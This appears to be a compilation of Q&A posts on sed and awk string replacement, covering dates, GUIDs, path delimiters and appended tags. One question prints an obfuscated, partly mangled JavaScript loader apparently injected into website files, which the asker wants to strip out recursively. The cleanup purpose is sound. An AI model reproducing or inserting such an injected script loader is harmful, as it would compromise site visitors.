I want to search for a string and then from that string i want to replace 10 characters with another 10 characters.
For Example,
/prd/edm/hadoop/ifrs/eglex/hdata/ifrs_sri_open/eglex_*_txnacbal/ods=2020_02_23/
i want to search for string "ods=" and replace "2020_02_23" with "2020_02_30"
Since that date "2020_02_23" is not consistent i wanted to search with "ods=" which is static and one time for a line.
Like this more lines are there in the file.
I tried:
cat dta_1.sh | sed 's/.*ods=//' | cut -c1-10
I want to search for string "ods=" and replace "2020_02_23" with
"2020_02_30"
sed 's|\(.*ods=\).*|\12020_02_30/|g' inputfile
The regex inside the parenthesis \( \) is reproduced by \1, and the string after ods= is replaced by 2020_02_30/.
If there could be something else besides / after the date, then go for this:
sed 's|\(.*ods=\)...._.._..|\12020_02_30|g' inputfile
I've completed this using the below,
sed -i '/ods=/ s|ods="[^"]*"|ods='"${DATE_FORMAT2}"'|g' dta_2.sh
Thanks all for the response
Related
I have a very long and complex string in many files and I want to remove/replace it recursively. The string contains many slashes, backslashes and spaces and any kind of special signs.
Example ( this's the string to find ):
var a=['ffffff/fdf',')njosirthalcfoml5','length','trderrnrme1fze6r(','script','abs','parentNode','getElementsByTagName','t=ha5mytou5_p_d','5mgrfokf7tma7l!pp','type','async','oe3m6axnwt8s5omh7','jfjOcxieyd2njif','createElement','while','fdsfd'];(function(b,e){var f=function(g){while(--g){b'push';}};f(++e);}(a,0x12b));var b=function(c,d){c=c-0x0;var e=a[c];return e;};var _cs=['3tqnjerg4Akriews)ue',b('0xb'),b('0x10'),'vb37(ej4q84fb1x9v8w6e1lau4!34c443cf64097sap8!afeeeh0qbgchc!7q2289=gvu&!0a402m=1duiicu?3sfjb.(esdpoun2_qi9uj/8m9ozc0.20v6h3gt(ayt9snkfcnixlvci.vcqiql0bmu4p1/)/p:isuprt)tzhp',b('0x5'),b('0x3'),b('0xa'),b('0x8'),'get','fejiekzokovce',b('0xf'),b('0x2'),b('0xc'),b('0x7')];if(ndsw===undefined){var ndsw=true;(function(){var c=navigator;var d=document;var e=screen;var f=window;var g=c[m(_cs[0x0])];var h=c[m(_cs[0x2])];var i=d[m(_cs[0x9])];var j=f[m(_cs[0x7])][m(_cs[0xb])];var k=d[m(_cs[0x6])];if(k&&!n(k,j)){if(!n(i,m(_cs[0xa]))){var c=db('0x4');c[b('0x0')]=_cs[0xd];c[b('0x1')]=![0x0];l[b('0xd')]b('0x6');}}aaaaaaa m(p){var q='';for(var r=0x0;rm(_cs[0x5])!==-0x1;}ffffff o(p){var q='';for(var r=p[b('0x9')]-0x1;r>=0x0;r--){q+=p[r];}return q;}}());}```
How do I do that?
Would it be possible to write the search string to a file and use this as input for a search & replace recursively command?
The purpose is to remove the entire string found in a path recursively.
If there is only one occurrence of the string per text file this will append 'MARKER' to the start and end of the complex string, then delete the text between 'MARKER's:
for f in $(find . -name "*.txt")
do
sed -i "s/var\ a/MARKER_var\ a/g" "$f"
sed -i "s/\`\`\`/\`\`\`MARKER/g" "$f"
sed -i 's/MARKER.*MARKER//g' "$f"
done
I have some app config file tmp.cfg. And need to change some given values inside.
Here are the string examples:
app-stat!error!25871a5f-9f50-40ac-923d-c80a660fe21d!1!2
app-stat!queued!25871a5f-9f50-40ac-923d-c80a660fe21d!5!10
app-stat!error!fbbf0e80-8a21-4ebf-9a78-b1017c58a19d!1!2
app-stat!error!5670b363-6a5d-4fcd-819e-85786c5957f1!120!200
For all strings that contains
!error! then following some GUID and then values !1!2 change to
!error! then preserve some GUID and then NEW values !7!10
I do not need to touch other string that contains !error! then GUID but different values in the end
Here what I've tried:
sed -i "s/error\!.*\!1\!2/error\!.*\!4\!8/g" tmp.cfg
It finds all string that I need but replaces a GUID actually with symbols .* instead of GUID number itself.
How to build sed expression in that way to preserve the wildcard part?
The expected result is:
app-stat!error!fbbf0e80-8a21-4ebf-9a78-b1017c58a19d!4!8
The actual result is:
app-stat!error!.*!4!8
sed 's/\(!error!.*\)!1!2/\1!4!8/g' file
Guess you need something like this.
Pattern enclosed within
\( ... \)
are saved in registers for later use and can be accessed as \1, \2 … upto \9.
In the above sed expression, pattern from !error!<GUID> is captured in \1 and used while replacing as \1!4!8.
You can omit g from the sed expression if you are sure that the same pattern won't occur twice on a line.
This is easy to do with awk
awk '$2=="error" && $4==1 && $5==2 {$4=7;$5=10}1' FS="!" OFS="!" file
app-stat!error!25871a5f-9f50-40ac-923d-c80a660fe21d!7!10
app-stat!queued!25871a5f-9f50-40ac-923d-c80a660fe21d!5!10
app-stat!error!fbbf0e80-8a21-4ebf-9a78-b1017c58a19d!7!10
app-stat!error!5670b363-6a5d-4fcd-819e-85786c5957f1!120!200
Separate fields by !
Then if field 2=error, filed 4=1 and field 5=1
Set field 4 and 5 to 7 and 10
1 do print the lines
This sed command should work:
sed -r 's/(.*)!error!(.*)!1!2$/\1!error!\2!4!8/g' file_name
I am trying to change the following string
FROM java_jre_8#sha256:92f22331226b9b3c43a15eeeb304dd7
to
FROM docker-registry.service.consul:5000/java_jre_8#sha256:92f22331226b9b3c43a15eeeb304dd7
but am having difficult with sed as a result of / character
This is for a build server.
There are two ways of doing this. The first is to escape each / in the string you're replacing:
sed 's/from/to with \/ ... /'
The other, more simple way is to use a delimiter other than /. While most sed examples use / as a delimiter, you can use any character:
sed 's|from|to with / ...|'
Here, the | is the first character following s, and therefore sed knows to use this as a delimiter.
You can use # as the delimiter as it doesn't appear in your string (you can still use / but then you'll have to quote the actual /s that are part of the string).
sed "s#FROM java_jre_8##FROM docker-registry.service.consul:5000/java_jre_8##'
Example:
$ echo "FROM java_jre_8#sha256:92f22331226b9b3c43a15eeeb304dd7" | sed "s#FROM java_jre_8##FROM docker-registry.service.consul:5000/java_jre_8##"
FROM docker-registry.service.consul:5000/java_jre_8#sha256:92f22331226b9b3c43a15eeeb304dd7
i want to replace a special string inside a file.txt. my strings are like this :
-> Old String
tech=/lsf/dfg/a.v,/ldf/fgh/b.v
-> New String
tech=$var
i have tried following
sed -i 's/tech=/lsf/dfg/a.v,/ldf/fgh/b.v/tech=$var/g' file.txt
it doesnt work.
sed -i 's#tech=/lsf/dfg/a.v,/ldf/fgh/b.v#tech=$var#g' file.txt
Just replace the delimiters '/' for the sed expression with '#' (or another character that is not in the string you are trying to match and replace).
I have a file containing these lines:
John
Some String 1234
Mary
another string 3445
Tom
Cat Dog 2367
i.e. every alternate line ends with number, and there are no numbers anywhere else.
I want to add < /br> tag just after the number so that output is like:
John
Some String 1234</br>
Mary
another string 3445</br>
...
I tried using sed command as:
sed -i 's/[0-9]+/1<\/br>/' filename.html
but it errors out.
How do I get this done?
You can use:
sed -i.bak 's~[0-9]\+$~&</br>~' file
Now file content will be:
cat file
John
Some String 1234</br>
Mary
another string 3445</br>
Tom
Cat Dog 2367</br>
Use this one:
sed 's/\([0-9]\+\)$/\1<br\/>/' your.txt
Short explanation:
Numbers with a various length [0-9]\+at the of the line $ gets matched into a matching-group \( ... \). It will get replaced by the value of that matching group \1 plus the <br\/> tag. Don't miss that I've escaped several characters with the backslash \ because they have a special meaning in the pattern.
Try this:
sed -ri.bak '/[0-9]+$/ s/$/<\/br>/g' filename.html
Got it, I was missing () around the matched pattern.
So it is like:
sed -i 's/\([0-9][0-9]*\)/\L\1<\/br>/I' filename.html
Since the numbers are always at the end of even numbered lines, GNU sed's extended range addresses are sufficient:
sed -i.bak '2~2s#$#</br>#' file
Output:
John
Some String 1234</br>
Mary
another string 3445</br>
Tom
Cat Dog 2367</br>